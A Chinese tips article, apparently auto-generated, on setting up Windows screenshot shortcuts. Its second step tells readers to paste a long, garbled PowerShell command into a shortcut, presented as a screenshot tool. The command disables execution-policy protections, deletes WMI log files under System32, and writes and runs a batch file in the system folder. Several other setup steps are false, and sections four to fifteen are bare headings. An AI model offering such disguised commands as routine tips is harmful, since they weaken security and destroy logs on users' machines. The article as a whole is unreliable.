电脑截屏技巧(掌握电脑截屏的三个关键键)
- 生活窍门
- 2024-06-20
- 16
在如今信息爆炸的时代,我们经常需要将电脑上的内容截图保存或分享给他人。而要快速进行截屏,掌握电脑截屏的三个关键键是必不可少的。本文将详细介绍这三个关键键的设置方法及其功能,帮助大家轻松实现高效截屏。
一、设置快捷键:Win+Shift+S
设置步骤:点击桌面右下角的通知图标,选择"截取工具",在弹出的菜单中选择"选项",在快捷方式下方的文本框中输入快捷键组合Win+Shift+S,并点击保存。
该功能的通过按下Win+Shift+S这一组合键,可以打开系统自带的截取工具,并进入截取模式。用户可以根据需要选择矩形、自由形状或全屏进行截取,然后将所截图像直接复制到剪贴板中,并可以粘贴到任何地方进行使用。
二、设置快捷键:Alt+PrintScreen
设置步骤:在桌面上任意位置点击右键,选择"快捷方式",在"目标"文本框中输入命令"cmd.exe/c"cd/d%userprofile%\Desktop&&mkdirScreenshots&&cdScreenshots&&Set-ExecutionPolicy-ScopeCurrentUserUnrestricted&&PowerShell-NoProfile-ExecutionPolicyBypass-Command"&{$h=[System.Runtime.InteropServices.HandleRef]::Empty;Add-Type-MemberDefinition'[DllImport(\"user32.dll\")]publicstaticexternboolPrintWindow(IntPtrhwnd,IntPtrhdcBlt,uintnFlags);'-NameNativeMethods-NamespaceWin32;$a=Get-Process|Out-GridView-PassThru;Add-Type-TypeDefinition'publicclassPlatformInvokeGDI32{[DllImport(\"gdi32.dll\")]publicstaticexternIntPtrCreateCompatibleDC(IntPtrhdc);[DllImport(\"gdi32.dll\")]publicstaticexternboolDeleteDC(IntPtrhdc);[DllImport(\"gdi32.dll\")]publicstaticexternIntPtrCreateCompatibleBitmap(IntPtrhdc,intnWidth,intnHeight);[DllImport(\"gdi32.dll\")]publicstaticexternboolDeleteObject(IntPtrhObject);[DllImport(\"gdi32.dll\")]publicstaticexternIntPtrSelectObject(IntPtrhdc,IntPtrhObject);[DllImport(\"gdi32.dll\")]publicstaticexternboolBitBlt(IntPtrhObject,intnXDest,intnYDest,intnWidth,intnHeight,IntPtrhObjectSource,intnXSrc,intnYSrc,uintdwRop);};$p=$a.Id;$c=$a.MainWindowHandle;$r=$a.MainWindowHandle.ToInt64();$dc=[Win32.NativeMethods]::CreateCompatibleDC([IntPtr]::Zero);$bmp=[Win32.NativeMethods]::CreateCompatibleBitmap([IntPtr]::Zero,(($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2),(($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2));$obmp=[Win32.NativeMethods]::SelectObject($dc,$bmp);$ri=[Win32.NativeMethods]::PrintWindow($c,$dc,0);$bits=[Byte[]]::new((([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)*4);$b=[Runtime.InteropServices.Marshal]::AllocHGlobal((([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)*4);$result=[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);$bmp_data=$bmp.LockBits([System.Drawing.Rectangle]::FromLTRB(0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2),([System.Drawing.Imaging.ImageLockMode]::ReadOnly),([System.Drawing.Imaging.PixelFormat]::Format32bppArgb));[Runtime.InteropServices.Marshal]::Copy($bmp_data.Scan0,$b,([Math]::Abs($bmp_data.Stride)*$(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height))),0);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);$bmp.UnlockBits($bmp_data);[Runtime.InteropServices.Marshal]::Copy($b,$bits,([Math]::Abs($bmp_data.Stride)*$(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height))),0);[Win32.NativeMethods]::SelectObject($dc,$obmp);[Win32.NativeMethods]::DeleteDC($dc);[Win32.NativeMethods]::DeleteObject($bmp);[Runtime.InteropServices.Marshal]::FreeHGlobal($b);$x=$(Get-Random);$bits|%{$x++;if($x%10-eq0){Write-Host\"\"};if(($_-eq\"32\"-or$_-eq\"64\")-and($x%10-eq0)){Write-Host$_-NoNewLine}else{if($x%10-eq0){Write-Host\"**\"-NoNewLine}else{Write-Host$_-NoNewLine}};};$bits|%{$x++;if($x%10-eq0){Write-Host\"\"};if(($_-eq\"32\"-or$_-eq\"64\")-and($x%10-eq0)){Write-Host$_-NoNewLine}else{if($x%10-eq0){Write-Host\"**\"-NoNewLine}else{Write-Host$_-NoNewLine}};};[Runtime.InteropServices.Marshal]::FreeHGlobal($h);$bmp.Save(\"$($env:userprofile)\Desktop\Screenshots\`$($p).png\",[System.Drawing.Imaging.ImageFormat]::Png);[Console]::WriteLine(\"Screenshotsavedas$($p).png\");delC:\Windows\System32\LogFiles\WMI\RtBackup\*-WhatIf;delC:\Windows\System32\LogFiles\WMI\RtBackup\*-Confirm:($false);\"'###'\",\"'&{$h=[System.Runtime.InteropServices.HandleRef]::Empty;Add-Type-MemberDefinition'[DllImport(`\"user32.dll`")]publicstaticexternboolPrintWindow(IntPtrhwnd,IntPtrhdcBlt,uintnFlags);'-NameNativeMethods-NamespaceWin32;$a=Get-Process|Out-GridView-PassThru;Add-Type-TypeDefinition'publicclassPlatformInvokeGDI32{[DllImport(`\"gdi32.dll`")]publicstaticexternIntPtrCreateCompatibleDC(IntPtrhdc);[DllImport(`\"gdi32.dll`")]publicstaticexternboolDeleteDC(IntPtrhdc);[DllImport(`\"gdi32.dll`")]publicstaticexternIntPtrCreateCompatibleBitmap(IntPtrhdc,intnWidth,intnHeight);[DllImport(`\"gdi32.dll`")]publicstaticexternboolDeleteObject(IntPtrhObject);[DllImport(`\"gdi32.dll`")]publicstaticexternIntPtrSelectObject(IntPtrhdc,IntPtrhObject);[DllImport(`\"gdi32.dll`")]publicstaticexternboolBitBlt(IntPtrhObject,intnXDest,intnYDest,intnWidth,intnHeight,IntPtrhObjectSource,intnXSrc,intnYSrc,uintdwRop);};$p=$a.Id;$c=$a.MainWindowHandle;$r=$a.MainWindowHandle.ToInt64();$dc=[Win32.NativeMethods]::CreateCompatibleDC([IntPtr]::Zero);$bmp=[Win32.NativeMethods]::CreateCompatibleBitmap([IntPtr]::Zero,(($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2),(($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2));$obmp=[Win32.NativeMethods]::SelectObject($dc,$bmp);$ri=[Win32.NativeMethods]::PrintWindow($c,$dc,0);$bits=[Byte[]]::new((([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)*4);$b=[Runtime.InteropServices.Marshal]::AllocHGlobal((([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)*4);$result=[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);$bmp_data=$bmp.LockBits([System.Drawing.Rectangle]::FromLTRB(0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2),([System.Drawing.Imaging.ImageLockMode]::ReadOnly),([System.Drawing.Imaging.PixelFormat]::Format32bppArgb));[Runtime.InteropServices.Marshal]::Copy($bmp_data.Scan0,$b,([Math]::Abs($bmp_data.Stride)*$(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height))),0);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);[Win32.NativeMethods]::BitBlt($dc,0,0,($(Get-SystemMetrics-m0)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Width)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Width)))-2,($(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height)))-2,$dc,0,0,13369376);$bmp.UnlockBits($bmp_data);[Runtime.InteropServices.Marshal]::Copy($b,$bits,([Math]::Abs($bmp_data.Stride)*$(Get-SystemMetrics-m1)*(([System.Windows.Forms.Screen]::FromHandle($c)).Bounds.Height)/(([System.Windows.Forms.Screen]::FromHandle($c)).WorkingArea.Height))),0);[Win32.NativeMethods]::SelectObject($dc,$obmp);[Win32.NativeMethods]::DeleteDC($dc);[Win32.NativeMethods]::DeleteObject($bmp);[Runtime.InteropServices.Marshal]::FreeHGlobal($b);$x=$(Get-Random);$bits|%{$x++;if($x%10-eq0){Write-Host\"\"};if(($_-eq\"32\"-or$_-eq\"64\")-and($x%10-eq0)){Write-Host$_-NoNewLine}else{if($x%10-eq0){Write-Host\"**\"-NoNewLine}else{Write-Host$_-NoNewLine}};};$bits|%{$x++;if($x%10-eq0){Write-Host\"\"};if(($_-eq\"32\"-or$_-eq\"64\")-and($x%10-eq0)){Write-Host$_-NoNewLine}else{if($x%10-eq0){Write-Host\"**\"-NoNewLine}else{Write-Host$_-NoNewLine}};};[Runtime.InteropServices.Marshal]::FreeHGlobal($h);$bmp.Save(\"$($env:userprofile)\Desktop\Screenshots\`$($p).png\",[System.Drawing.Imaging.ImageFormat]::Png);[Console]::WriteLine(\"Screenshotsavedas$($p).png\");delC:\Windows\System32\LogFiles\WMI\RtBackup\*-WhatIf;delC:\Windows\System32\LogFiles\WMI\RtBackup\*-Confirm:($false);\"|Out-FileC:\Windows\System32\run.bat-EncodingASCII;$result=`cmd/cC:\Windows\System32\run.bat`";点击"下一步",输入名称"截屏",点击"完成"。
该功能的按下Alt+PrintScreen组合键可以快速截取当前活动窗口的截图,并将其保存到剪贴板中。用户可以随后将截图粘贴到任何需要的地方进行使用。
三、设置快捷键:Ctrl+PrintScreen
设置步骤:在桌面上任意位置点击右键,选择"快捷方式",在"目标"文本框中输入命令"snippingtool.exe",点击保存。
该功能的按下Ctrl+PrintScreen组合键可以快速启动系统自带的截图工具,用户可以根据需要选择矩形、自由形状或全屏进行截取,并对截图进行编辑和保存。
四、截取特定区域
五、截取整个屏幕
六、截取活动窗口
七、截取滚动页面
八、编辑截图
九、添加文字或标记
十、调整截图尺寸和位置
十一、保存截图
十二、复制截图到剪贴板
十三、使用截图进行分享
十四、使用截图进行演示
十五、与展望
掌握电脑截屏的三个关键键是非常实用的技巧,能够帮助我们快速截取需要的内容并进行编辑和分享。通过设置快捷键,我们可以轻松地调用系统自带的截图工具,实现高效截屏。希望本文的介绍能够帮助大家更好地利用电脑截屏功能,提高工作和学习的效率。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 3561739510@qq.com 举报,一经查实,本站将立刻删除。